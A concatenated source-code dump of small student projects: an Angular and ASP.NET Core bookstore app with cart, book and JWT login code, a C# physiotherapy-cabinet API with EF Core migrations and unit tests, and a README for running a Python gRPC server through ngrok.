providers: [BooksComponent],
declarations: [ BooksComponent ]
})
.compileComponents();
});
// beforeEach(() => {
// fixture = TestBed.createComponent(BooksComponent);
// component = fixture.componentInstance;
// fixture.detectChanges();
// });
beforeEach(() => {
fixture = TestBed.createComponent(BooksComponent);
// component = fixture.componentInstance;
fixture.detectChanges();
service = new BookService(null!);
component = new BooksComponent(service,null!);
});
it('should get all Books', () => {
const products: Book[] = [
{
bookID: 1,
bookName: "one indian girl",
author: "<NAME>",
description: "Fiction",
price: 299,
rating: 5,
bookImage: "https://images.hindustantimes.com/rf/image_size_800x600/HT/p2/2016/10/02/Pictures/_9b6ab156-8845-11e6-92b8-e7f1e026a3c4.png"
},
{
bookID: 2,
bookName: "Project Hail Mary",
author: "<NAME>",
description: "Science",
price: 500,
rating: 3,
bookImage: "https://images.immediate.co.uk/production/volatile/sites/4/2021/05/project-hail-mary-36469e9.jpg?webp=true&quality=90&resize=210%2C324"
},
{
bookID: 3,
bookName: "Sapiens",
author: "yuval",
description: "History",
price: 599,
rating: 3,
bookImage: "https://images-eu.ssl-images-amazon.com/images/I/41yu2qXhXXL._SY264_BO1,204,203,200_QL40_FMwebp_.jpg"
},
{
bookID: 4,
bookName: "Wish You Were Here",
author: "<NAME>",
description: "Fiction",
price: 899,
rating: 4,
bookImage: "https://i.gr-assets.com/images/S/compressed.photo.goodreads.com/books/1622427709l/57701764._SX98_.jpg"
},
{
bookID: 5,
bookName: "Brutal Justice",
author: "<NAME>",
description: "Fiction",
price: 699,
rating: 5,
bookImage: "https://i.gr-assets.com/images/S/compressed.photo.goodreads.com/books/1606326831l/56043378._SY475_.jpg"
},
{
bookID: 6,
bookName: "Pale Blue Dot",
author: "<NAME>",
description: "Science",
price: 699,
rating: 5,
bookImage: "https://images-eu.ssl-images-amazon.com/images/I/51YebM30-QL._SY264_BO1,204,203,200_QL40_FMwebp_.jpg"
},
{
bookID: 7,
bookName: "Nuclear Fission Reactors",
author: "Cameron",
description: "Science",
price: 2999,
rating: 5,
bookImage: "https://images-na.ssl-images-amazon.com/images/I/41PbEYu3qZL._SX325_BO1,204,203,200_.jpg"
},
{
bookID: 8,
bookName: "From Fission to Fusion",
author: "Srinivasan",
description: "Science",
price: 599,
rating: 5,
bookImage: "https://images-na.ssl-images-amazon.com/images/I/31ICl95OhEL._BO1,204,203,200_.jpg"
}
];
spyOn(service, 'getBookList').and.callFake(() => {
return Observable.from([products]);
});
component.ngOnInit();
component.refreshBookList();
expect(component.listData).toEqual(products);
});
});
<file_sep>/BookStoreWebAPI/BookStoreWebAPI/Contracts/ILoggerService.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace BookStoreWebAPI.Contracts
{
public interface ILoggerService
{
void LogInfo(string message);
void LogDebug(string message);
}
}
<file_sep>/BookStoreWebAPI/BookStoreWebAPI/Models/Cart.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Threading.Tasks;
namespace BookStoreWebAPI.Models
{
public class Cart
{
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public int CartBookID { get; set; }
[Required]
public string CartBookName { get; set; }
[Required]
public int CartBookPrice { get; set; }
public string CartBookImage { get; set; }
public int Quantity { get; set; }
}
}
<file_sep>/src/app/services/book.service.ts
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Book } from '../models/book-model';
import { Observable } from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class BookService {
constructor( private http: HttpClient ) { }
formData!: Book;
readonly APIUrl = "https://localhost:44386/api";
getBookList(): Observable<Book[]>
{
return this.http.get<Book[]>(this.APIUrl+'/Books');
}
addBookList( book : Book )
{
return this.http.post(this.APIUrl+'/Books', book);
}
}
<file_sep>/src/app/login/login.component.ts
import { Component, OnInit } from '@angular/core';
import { FormBuilder, Validators } from '@angular/forms';
import { Router } from '@angular/router';
import { UserService } from '../services/user.service';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit {
public loginForm=this.formBuilder.group({
email:['',[Validators.email,Validators.required]],
password:['',Validators.required]
})
constructor(private formBuilder:FormBuilder,private userService:UserService,private router:Router) { }
ngOnInit(): void {
}
onSubmit(){
console.log("on submit ");
let email=this.loginForm.controls["email"].value;
let password=this.loginForm.controls["password"].value;
this.userService.login(email,password).subscribe((data:any)=>{
if(data.responseCode==1){
localStorage.setItem("userInfo",JSON.stringify(data.dataSet))
this.router.navigate(["books/"]);
alert("Login Success")
}
else if(data.responseCode!=1){
console.log("response",data);
alert(data.responseMessage);
}
},error=>{
console.log("error",error);
})
}
}
<file_sep>/src/app/showcart/showcart.component.ts
import { Component, OnInit } from '@angular/core';
import { Cart } from '../models/cart-model';
import { CartService } from '../services/cart.service';
@Component({
selector: 'app-showcart',
templateUrl: './showcart.component.html',
styleUrls: ['./showcart.component.css']
})
export class ShowcartComponent implements OnInit {
constructor( private service: CartService ) { }
cartData!: Cart[];
totalBill!: number;
ngOnInit(): void {
this.refreshCartList();
}
refreshCartList()
{
this.service.getCartList().subscribe(data => {
this.cartData = data;
this.totalBill = 0;
this.cartData.forEach(item => {
this.totalBill = this.totalBill + item.cartBookPrice;
}); ;
});
}
deleteItem(id: number)
{
if(confirm("Are you sure you want to delete?"))
{
this.service.deleteCartItem(id).subscribe(res => {
this.refreshCartList();
});
}
// console.log(id);
}
resetCart()
{
if(confirm("Are you sure you want to delete all items in the cart?"))
{
this.service.resetCart().subscribe(res => {
this.refreshCartList();
});
}
}
buyBooks()
{
this.service.resetCart().subscribe(res => {
this.refreshCartList();
});
}
get isUserLogin()
{
const user=localStorage.getItem("userInfo");
return user && user.length>0;
}
}
<file_sep>/src/app/books/uploadbook/uploadbook.component.ts
import { Component, OnInit } from '@angular/core';
import { NgForm } from '@angular/forms';
import { BookService } from 'src/app/services/book.service';
@Component({
selector: 'app-uploadbook',
templateUrl: './uploadbook.component.html',
styleUrls: ['./uploadbook.component.css']
})
export class UploadbookComponent implements OnInit {
constructor( public service: BookService ) { }
ngOnInit(): void {
this.resetForm()
}
resetForm(form?:NgForm)
{
this.service.formData = {
bookID: 0,
bookName!: '',
author!: '',
description!: '',
price!: 0,
rating!: 0,
bookImage!: ''
}
}
onSubmit(form: NgForm)
{
this.service.addBookList(form.value).subscribe(res=>
{
this.resetForm(form);
alert("book added");
})
// console.log(form.value);
}
}
<file_sep>/src/app/models/cart-model.ts
export class Cart {
cartBookID!: number;
cartBookName!: string;
cartBookPrice!: number;
cartBookImage!: string;
quantity!: number
}<file_sep>/BookStoreWebAPI/BookStoreWebAPI/Models/Book.cs
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Threading.Tasks;
namespace BookStoreWebAPI.Models
{
public class Book
{
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public int BookID { get; set; }
[Required]
public string BookName { get; set; }
[Required]
public string Author { get; set; }
[Required]
public string Description { get; set; }
[Required]
public int Price { get; set; }
[Required]
public int Rating { get; set; }
public string BookImage { get; set; }
}
}
<file_sep>/src/app/app-routing.module.ts
import { NgModule } from '@angular/core';
import { RouterModule, Routes } from '@angular/router';
import { BooksComponent } from './books/books.component';
import { FictionbooksComponent } from './books/fictionbooks/fictionbooks.component';
import { HistorybooksComponent } from './books/historybooks/historybooks.component';
import { ScientificbooksComponent } from './books/scientificbooks/scientificbooks.component';
import { UploadbookComponent } from './books/uploadbook/uploadbook.component';
import { HomeComponent } from './home/home.component';
import { LoginComponent } from './login/login.component';
import { RegisterComponent } from './register/register.component';
import { ShowcartComponent } from './showcart/showcart.component';
import { ThankYouComponent } from './thank-you/thank-you.component';
const routes: Routes = [
{path:'books', component: BooksComponent},
{path:'home', component: HomeComponent},
{path: 'login', component: LoginComponent},
{path: 'register', component: RegisterComponent},
{path:'books/historybooks', component: HistorybooksComponent},
{path:'books/scientificbooks', component: ScientificbooksComponent},
{path:'books/fictionbooks', component: FictionbooksComponent},
{path:'books/uploadbook', component: UploadbookComponent},
{path:'showcart', component: ShowcartComponent},
{path:'', component: HomeComponent},
{path:'thankyou', component: ThankYouComponent}
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
<file_sep>/BookStoreWebAPI/BookStoreWebAPI/Controllers/CartsController.cs
using BookStoreWebAPI.Context;
using BookStoreWebAPI.Contracts;
using BookStoreWebAPI.Models;
using Microsoft.AspNetCore.Mvc;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
// For more information on enabling Web API for empty projects, visit https://go.microsoft.com/fwlink/?LinkID=397860
namespace BookStoreWebAPI.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class CartsController : ControllerBase
{
public readonly ILoggerService _logger;
private readonly BooksCRUDContext _booksCRUDContext;
public CartsController(BooksCRUDContext booksCRUDContext, ILoggerService logger)
{
_booksCRUDContext = booksCRUDContext;
_logger = logger;
}
// GET: api/<CartsController>
[HttpGet]
public IEnumerable<Cart> Get()
{
_logger.LogInfo("Get Cart Called");
return _booksCRUDContext.Carts;
}
// GET api/<CartsController>/5
[HttpGet("{id}")]
public Cart Get(int id)
{
_logger.LogInfo("Get Cart by ID Called");
return _booksCRUDContext.Carts.SingleOrDefault(x => x.CartBookID == id); ;
}
// POST api/<CartsController>
[HttpPost]
public void Post([FromBody] Cart cart)
{
_logger.LogInfo("Post Cart Called");
_booksCRUDContext.Carts.Add(cart);
_booksCRUDContext.SaveChanges();
}
// PUT api/<CartsController>/5
[HttpPut("{id}")]
public void Put(int id,[FromBody] Cart cart)
{
_logger.LogInfo("Post Cart by ID Called");
cart.CartBookID = id;
_booksCRUDContext.Carts.Update(cart);
_booksCRUDContext.SaveChanges();
}
// DELETE api/<CartsController>/5
[HttpDelete]
public void Delete()
{
var item = _booksCRUDContext.Carts.FirstOrDefault(x => x.CartBookID > 0);
while (item!=null)
{
_logger.LogInfo("Delete Cart Called");
_booksCRUDContext.Carts.Remove(item);
_booksCRUDContext.SaveChanges();
item = _booksCRUDContext.Carts.FirstOrDefault(x => x.CartBookID > 0);
}
}
[HttpDelete("{id}")]
public void Delete(int id)
{
var item = _booksCRUDContext.Carts.FirstOrDefault(x => x.CartBookID == id);
if (item != null)
{
_logger.LogInfo("Delete Cart by ID Called");
_booksCRUDContext.Carts.Remove(item);
_booksCRUDContext.SaveChanges();
}
}
}
}
<file_sep>/src/app/services/cart.service.ts
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Observable } from 'rxjs';
import { Cart } from '../models/cart-model';
@Injectable({
providedIn: 'root'
})
export class CartService {
constructor( private http: HttpClient ) { }
formData!: Cart;
readonly APIUrl = "https://localhost:44386/api";
getCartList(): Observable<Cart[]>
{
return this.http.get<Cart[]>(this.APIUrl+'/Carts');
}
addCartList( cart : Cart )
{
return this.http.post(this.APIUrl+'/Carts', cart);
}
resetCart()
{
return this.http.delete(this.APIUrl+'/Carts');
}
deleteCartItem( id : number )
{
return this.http.delete(this.APIUrl+'/Carts/'+id);
}
}
<file_sep>/src/app/services/user.service.ts
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
@Injectable({
providedIn: 'root'
})
export class UserService {
private readonly APIUrl:string = "https://localhost:44386/api/User/";
constructor(private httpClient:HttpClient) { }
public login(email:string, password:string)
{
const body={
Email:email,
Password:<PASSWORD>
}
return this.httpClient.post(this.APIUrl+"Login",body)
}
public register(fullName:string, email:string,password:string)
{
const body={
FullName:fullName,
Email:email,
Password:<PASSWORD>
}
return this.httpClient.post(this.APIUrl+"RegisterUser",body)
}
}
<file_sep>/BookStoreWebAPI/BookStoreWebAPI/Controllers/BooksController.cs
using BookStoreWebAPI.Context;
using BookStoreWebAPI.Contracts;
using BookStoreWebAPI.Models;
using Microsoft.AspNetCore.Mvc;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
// For more information on enabling Web API for empty projects, visit https://go.microsoft.com/fwlink/?LinkID=397860
namespace BookStoreWebAPI.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class BooksController : ControllerBase
{
public readonly ILoggerService _logger;
private readonly BooksCRUDContext _booksCRUDContext;
public BooksController(BooksCRUDContext booksCRUDContext,ILoggerService logger)
{
_booksCRUDContext = booksCRUDContext;
_logger = logger;
}
// GET: api/<BooksController>
[HttpGet]
public IEnumerable<Book> Get()
{
_logger.LogInfo("Get Books Called");
return _booksCRUDContext.Books;
}
// GET api/<BooksController>/5
[HttpGet("{id}")]
public Book Get(int id)
{
_logger.LogInfo("Get Books by ID Called");
return _booksCRUDContext.Books.SingleOrDefault(x => x.BookID == id);
}
// POST api/<BooksController>
[HttpPost]
public void Post([FromBody] Book book)
{
_logger.LogInfo("Post Books Called");
_booksCRUDContext.Books.Add(book);
_booksCRUDContext.SaveChanges();
}
// PUT api/<BooksController>/5
[HttpPut("{id}")]
public void Put(int id, [FromBody] Book book)
{
_logger.LogInfo("Put Books Called");
book.BookID = id;
_booksCRUDContext.Books.Update(book);
_booksCRUDContext.SaveChanges();
}
// DELETE api/<BooksController>/5
[HttpDelete("{id}")]
public void Delete(int id)
{
var item = _booksCRUDContext.Books.FirstOrDefault(x => x.BookID == id);
if(item!=null)
{
_booksCRUDContext.Books.Remove(item);
_booksCRUDContext.SaveChanges();
}
}
}
}
<file_sep>/src/app/models/book-model.ts
export class Book {
bookID!: number;
bookName!: string;
author!: string;
description!: string;
price!: number;
rating!: number;
bookImage!: string;
}<file_sep>/BookStoreWebAPI/BookStoreWebAPI/Context/BooksCRUDContext.cs
using BookStoreWebAPI.Models;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace BookStoreWebAPI.Context
{
public class BooksCRUDContext : DbContext
{
public BooksCRUDContext(DbContextOptions<BooksCRUDContext> options) : base(options)
{
}
public DbSet<Book> Books { get; set; }
public DbSet<Cart> Carts { get; set; }
}
}
<file_sep>/src/app/books/books.component.ts
import { Component, OnInit } from '@angular/core';
import { Book } from '../models/book-model';
import { Cart } from '../models/cart-model';
import { BookService } from '../services/book.service';
import { CartService } from '../services/cart.service';
@Component({
selector: 'app-books',
templateUrl: './books.component.html',
styleUrls: ['./books.component.css']
})
export class BooksComponent implements OnInit {
constructor( private bookservice: BookService, private cartservice: CartService ) { }
listData!: Book[];
cartData!: Cart;
ngOnInit(): void {
this.refreshBookList()
}
refreshBookList()
{
this.bookservice.getBookList().subscribe(data => {
this.listData = data;
// console.log(this.listData[0])
});
}
addToCart(book: Book)
{
console.log("onClickAddToCart called");
console.log(book);
this.cartData! = {cartBookID:0, cartBookName: '',cartBookImage: '',cartBookPrice: 0, quantity: 1 };
this.cartData.cartBookName = book.bookName;
this.cartData.cartBookImage = book.bookImage;
this.cartData.cartBookPrice = book.price;
this.cartData.quantity = 1;
console.log(this.cartData);
this.cartservice.addCartList(this.cartData).subscribe(res=>
{
alert("Added To Cart");
})
}
}
<file_sep>/src/app/books/scientificbooks/scientificbooks.component.ts
import { Component, OnInit } from '@angular/core';
import { Book } from 'src/app/models/book-model';
import { Cart } from 'src/app/models/cart-model';
import { BookService } from 'src/app/services/book.service';
import { CartService } from 'src/app/services/cart.service';
@Component({
selector: 'app-scientificbooks',
templateUrl: './scientificbooks.component.html',
styleUrls: ['./scientificbooks.component.css']
})
export class ScientificbooksComponent implements OnInit {
constructor( private service: BookService, private cartservice: CartService ) { }
ngOnInit(): void {
this.refreshScientificBookList()
}
listData!: Book[];
ScienceData!: Book[];
cartData!: Cart;
refreshScientificBookList()
{
this.ScienceData=[];
this.service.getBookList().subscribe(data => {
this.listData = data;
this.listData.forEach( (value) =>
{
if(value.description=="Science")
{
this.ScienceData.push(value);
}
});
});
}
addToCart(book: Book)
{
console.log("onClickAddToCart called");
console.log(book);
this.cartData! = {cartBookID:0, cartBookName: '',cartBookImage: '',cartBookPrice: 0, quantity: 1 };
this.cartData.cartBookName = book.bookName;
this.cartData.cartBookImage = book.bookImage;
this.cartData.cartBookPrice = book.price;
this.cartData.quantity = 1;
console.log(this.cartData);
this.cartservice.addCartList(this.cartData).subscribe(res=>
{
alert("Added To Cart");
})
}
}
<file_sep>/src/app/app.module.ts
import { NgModule } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import { HttpClientModule } from '@angular/common/http';
import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { NgbModule } from '@ng-bootstrap/ng-bootstrap';
import { BooksComponent } from './books/books.component';
import { HomeComponent } from './home/home.component';
import { LoginComponent } from './login/login.component';
import { RegisterComponent } from './register/register.component';
import { BookService } from './services/book.service';
import { NgxPopper } from 'angular-popper';
import { HistorybooksComponent } from './books/historybooks/historybooks.component';
import { ScientificbooksComponent } from './books/scientificbooks/scientificbooks.component';
import { FictionbooksComponent } from './books/fictionbooks/fictionbooks.component';
import { UploadbookComponent } from './books/uploadbook/uploadbook.component';
import { ShowcartComponent } from './showcart/showcart.component';
import { ThankYouComponent } from './thank-you/thank-you.component';
@NgModule({
declarations: [
AppComponent,
BooksComponent,
HomeComponent,
LoginComponent,
RegisterComponent,
HistorybooksComponent,
ScientificbooksComponent,
FictionbooksComponent,
UploadbookComponent,
ShowcartComponent,
ThankYouComponent
],
imports: [
BrowserModule,
AppRoutingModule,
NgbModule, HttpClientModule, NgxPopper, FormsModule, ReactiveFormsModule
],
providers: [BookService],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>/BookStoreWebAPI/BookStoreWebAPI/Controllers/UserController.cs
using BookStoreWebAPI.Contracts;
using BookStoreWebAPI.Data.Entities;
using BookStoreWebAPI.Enums;
using BookStoreWebAPI.Models;
using BookStoreWebAPI.Models.BindingModel;
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;
using Microsoft.IdentityModel.Tokens;
using System;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
namespace BookStoreWebAPI.Controllers
{
[ApiController]
[Route("api/[controller]")]
public class UserController : ControllerBase
{
//private readonly ILogger<UserController> _logger;
public readonly ILoggerService _logger;
private readonly UserManager<AppUser> _userManager;
private readonly SignInManager<AppUser> _signInManager;
private readonly JWTConfig _jWTConfig;
public UserController(ILoggerService logger, UserManager<AppUser> userManager, SignInManager<AppUser> signInManager,IOptions<JWTConfig> jwtConfig)
{
_signInManager = signInManager;
_userManager = userManager;
_logger = logger;
_jWTConfig = jwtConfig.Value;
}
[HttpPost("RegisterUser")]
public async Task<object> RegisterUser([FromBody] AddUpdateRegisterUserBindingModel model)
{
try
{
_logger.LogInfo("RegisterUser Method Called");
var user = new AppUser()
{
FullName = model.FullName,
Email = model.Email,
DateCreated = DateTime.UtcNow,
DateModified = DateTime.UtcNow,
UserName=model.Email
};
var result = await _userManager.CreateAsync(user, model.Password);
if (result.Succeeded)
{
_logger.LogInfo("User Registered");
return await Task.FromResult(new ResponseModel(ResponseCode.OK,"User has been Registered",null));
}
return await Task.FromResult(new ResponseModel(ResponseCode.Error,"" ,result.Errors.Select(x=>x.Description ).ToArray()));
}
catch(Exception ex)
{
return await Task.FromResult(new ResponseModel(ResponseCode.Error,ex.Message , null));
}
}
//[Authorize(AuthenticationSchemes=JwtBearerDefaults.AuthenticationScheme)]
//[HttpGet("GetAllUser")]
//public async Task<object> GetAllUser()
//{
// try
// {
// //List<UserDTO> allUserDTO = new List<UserDTO>();
// var users = _userManager.Users.Select(x => new UserDTO(x.FullName, x.Email, x.UserName, x.DateCreated));
// //foreach (var user in users)
// //{
// //var roles = (await _userManager.GetRolesAsync(user)).ToList();
// //allUserDTO.Add(new UserDTO(user.FullName, user.Email, user.UserName, user.DateCreated, roles));
// //}
// return await Task.FromResult(users);
// }
// catch (Exception ex)
// {
// return await Task.FromResult(new ResponseModel(ResponseCode.Error, ex.Message, null));
// }
//}
[HttpPost("Login")]
public async Task<object> Login([FromBody] LoginBindingModel model)
{
try
{
if (ModelState.IsValid)
{
_logger.LogInfo("LogIn method Called");
var result = await _signInManager.PasswordSignInAsync(model.Email, model.Password, false, false);
if (result.Succeeded)
{
_logger.LogInfo("LogIn Success");
var appUser = await _userManager.FindByEmailAsync(model.Email);
//var roles = (await _userManager.GetRolesAsync(appUser)).ToList();
var user = new UserDTO(appUser.FullName, appUser.Email, appUser.UserName, appUser.DateCreated);
user.Token = GenerateToken(appUser);
return await Task.FromResult(new ResponseModel(ResponseCode.OK, "", user));
}
}
return await Task.FromResult(new ResponseModel(ResponseCode.Error, "Invalid email or password", null));
//return await Task.FromResult(new ResponseModel(ResponseCode.Error, "invalid Email or password", null));
}
catch (Exception ex)
{
return await Task.FromResult(new ResponseModel(ResponseCode.Error,ex.Message , null));
}
}
private string GenerateToken(AppUser user)
{
var jwtTokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes(_jWTConfig.key);
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new System.Security.Claims.ClaimsIdentity(new[]
{
new System.Security.Claims.Claim(JwtRegisteredClaimNames.NameId,user.Id),
new System.Security.Claims.Claim(JwtRegisteredClaimNames.Email,user.Email),
new System.Security.Claims.Claim(JwtRegisteredClaimNames.Jti,Guid.NewGuid().ToString()),
}),
Expires=DateTime.UtcNow.AddHours(12),
SigningCredentials=new SigningCredentials(new SymmetricSecurityKey(key),SecurityAlgorithms.HmacSha256Signature),
Audience=_jWTConfig.Audience,
Issuer=_jWTConfig.Issuer
};
_logger.LogInfo("Generate Token Method Called");
var token = jwtTokenHandler.CreateToken(tokenDescriptor);
return jwtTokenHandler.WriteToken(token);
}
}
}
| 4f140b86425f18606aae287522148120539b9c7d | [
"C#",
"TypeScript"
] | 22 | TypeScript | pranaymudhiraj/Book-Store-Application | 82c995507ca67f3eef5f461e44827e24750893cf | 1875d31a7f4ee695f79f2af8af0254b2cfb603b9 |
refs/heads/main | <file_sep>using System;
using Microsoft.EntityFrameworkCore.Migrations;
namespace KIPLModel.Migrations
{
public partial class v4 : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropForeignKey(
name: "FK_Kines_Cabinets_CabinetId",
table: "Kines");
migrationBuilder.AlterColumn<int>(
name: "CabinetId",
table: "Kines",
type: "int",
nullable: true,
oldClrType: typeof(int),
oldType: "int");
migrationBuilder.AlterColumn<TimeSpan>(
name: "HeureOuverture",
table: "Cabinets",
type: "time",
nullable: true,
oldClrType: typeof(TimeSpan),
oldType: "time");
migrationBuilder.AlterColumn<TimeSpan>(
name: "HeureFermeture",
table: "Cabinets",
type: "time",
nullable: true,
oldClrType: typeof(TimeSpan),
oldType: "time");
migrationBuilder.AddForeignKey(
name: "FK_Kines_Cabinets_CabinetId",
table: "Kines",
column: "CabinetId",
principalTable: "Cabinets",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropForeignKey(
name: "FK_Kines_Cabinets_CabinetId",
table: "Kines");
migrationBuilder.AlterColumn<int>(
name: "CabinetId",
table: "Kines",
type: "int",
nullable: false,
defaultValue: 0,
oldClrType: typeof(int),
oldType: "int",
oldNullable: true);
migrationBuilder.AlterColumn<TimeSpan>(
name: "HeureOuverture",
table: "Cabinets",
type: "time",
nullable: false,
defaultValue: new TimeSpan(0, 0, 0, 0, 0),
oldClrType: typeof(TimeSpan),
oldType: "time",
oldNullable: true);
migrationBuilder.AlterColumn<TimeSpan>(
name: "HeureFermeture",
table: "Cabinets",
type: "time",
nullable: false,
defaultValue: new TimeSpan(0, 0, 0, 0, 0),
oldClrType: typeof(TimeSpan),
oldType: "time",
oldNullable: true);
migrationBuilder.AddForeignKey(
name: "FK_Kines_Cabinets_CabinetId",
table: "Kines",
column: "CabinetId",
principalTable: "Cabinets",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
}
}
}
<file_sep>using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace KIPLModel
{
public class Bdd : DbContext
{
public DbSet<Cabinet> Cabinets { get; set; } // génèrera une table Cabinets dans notre base de données
public DbSet<Kine> Kines { get; set; }
public Bdd()
{
}
public Bdd(DbContextOptions<Bdd> options) : base (options)
{
}
protected override void OnConfiguring(DbContextOptionsBuilder options)
{
options.UseSqlServer("Data Source=localhost;Initial Catalog=Kipl_Cabinet_Fm;User ID=Ef_login;Password=<PASSWORD>;");
}
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
// Les PK
modelBuilder.Entity<Cabinet>().HasKey(c => c.Id);
modelBuilder.Entity<Kine>().HasKey(k => k.Id);
// Les FK
modelBuilder.Entity<Kine>().HasOne(k => k.Cabinet).WithMany(c => c.Kines).HasForeignKey(k => k.CabinetId);
}
}
}
<file_sep>using Microsoft.VisualStudio.TestTools.UnitTesting;
using APICabinetKIPL.Controllers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using KIPLModel;
using Microsoft.Extensions.Logging;
using Moq;
namespace APICabinetKIPL.Controllers.Tests
{
[TestClass()]
public class CabinetControllerTests
{
private Bdd _bdd;
private CabinetController _controller;
private readonly ILogger<CabinetController> _logger;
public CabinetControllerTests()
{
_bdd = new Bdd();
_logger = Mock.Of<ILogger<CabinetController>>();
_controller = new CabinetController(_bdd, _logger);
}
[TestMethod()]
public void GetTest()
{
//_logger.LogInformation("Get Test Cabinet Called");
// Appel de l'api
IEnumerable<object> result = _controller.Get();
int countFromApi = result.Count();
// Appel de la bdd
int countFromBdd = _bdd.Cabinets.Count();
Assert.AreEqual(countFromApi, countFromBdd);
}
[TestMethod()]
public void GetTestID()
{
//_logger.LogInformation("Get TestID Cabinet Called");
Cabinet cabinetFromBdd = _bdd.Cabinets.FirstOrDefault();
Assert.IsNotNull(cabinetFromBdd);
Cabinet cabinetFromApi = _controller.Get(cabinetFromBdd.Id);
Assert.IsNotNull(cabinetFromBdd);
Assert.AreEqual(cabinetFromApi.Id, cabinetFromBdd.Id);
Assert.AreEqual(cabinetFromApi.Libelle, cabinetFromBdd.Libelle);
}
[TestMethod()]
public void AddTest()
{
// Possibilité de tester l'ajout ou la suppression mais cela ne répondrait pas réellement au besoin de ce cas de figure.
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace KIPLModel
{
public class Kine
{
public int Id { get; set; }
public string Nom { get; set; }
public string Prenom { get; set; }
public DateTime DateDeNaissance { get; set; }
public string Numero { get; set; }
public string Email { get; set; }
public int? CabinetId { get; set; }
public Cabinet Cabinet { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace KIPLModel
{
public class Cabinet
{
public int Id { get; set; }
public string Libelle { get; set; }
public string Adresse { get; set; }
public TimeSpan? HeureOuverture { get; set; }
public TimeSpan? HeureFermeture { get; set; }
public int NombrePlaces { get; set; }
public IList<Kine> Kines { get; set; }
}
}
<file_sep>using Microsoft.VisualStudio.TestTools.UnitTesting;
using APICabinetKIPL.Controllers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using KIPLModel;
using Microsoft.Extensions.Logging;
using Moq;
namespace APICabinetKIPL.Controllers.Tests
{
[TestClass()]
public class KineControllerTests
{
private Bdd _bdd;
private KineController _controller;
private readonly ILogger<KineController> _logger;
private readonly ILogger<KineControllerTests> _loggerTest;
public KineControllerTests()
{
_bdd = new Bdd();
_logger = Mock.Of<ILogger<KineController>>();
_controller = new KineController(_bdd, _logger);
}
[TestMethod()]
public void GetTest()
{
// Appel de l'api
IEnumerable<object> result = _controller.Get();
int countFromApi = result.Count();
// Appel de la bdd
int countFromBdd = _bdd.Kines.Count();
Assert.AreEqual(countFromApi, countFromBdd);
}
[TestMethod()]
public void GetTestID()
{
_logger.LogInformation("Get Test KineID Called");
Kine kinesFromBdd = _bdd.Kines.FirstOrDefault();
Assert.IsNotNull(kinesFromBdd);
Kine kineFromApi = _controller.Get(kinesFromBdd.Id);
Assert.IsNotNull(kinesFromBdd);
Assert.AreEqual(kineFromApi.Id, kinesFromBdd.Id);
}
[TestMethod()]
public void AddTest()
{
// Possibilité de tester l'ajout ou la suppression mais cela ne répondrait pas réellement au besoin de ce cas de figure.
}
}
} | e7ad0b5436a6484cfbd8566e51dda2c242adebb1 | [
"C#"
] | 6 | C# | FMLCAPS/BackKIPLFM | 85e71d0f1cf79e8a2d02155e7dfb16786d1bb9ad | 509f55745eb0551010ac0e873a419043d2680519 |
refs/heads/master | <repo_name>alkaitagi/INNO-S20-SP<file_sep>/python-server/README.md
# Task
We need to have a server that sends the list of all available instructions to a Virtual Assistant app client and receives instructions from the Web Editor
The server also should send the selected instruction and all media files to the client.
## How to use
`python3 python_server.py`
If you want to run python_server.py on the Innopolis VM server:
You can use [ngrok](https://ngrok.com) to expose your server to the global net
First, create the config file with the name `ngrok_config.yml` and fill it:
```
authtoken: <your ngrok token>
tunnels:
post-server:
addr: 50052
proto: http
grpc-server:
addr: 50051
proto: tcp
bind_tls: true
```
Second, run this commands:
```
chmod +x python_server.py
nohup /path/to/python_server.py > output.log &
./ngrok start -config /path/to/ngrok_config.yml post-server grpc-server > /dev/null &
```
You can also run `run_servers.sh`. It has all the commands above with correct paths.
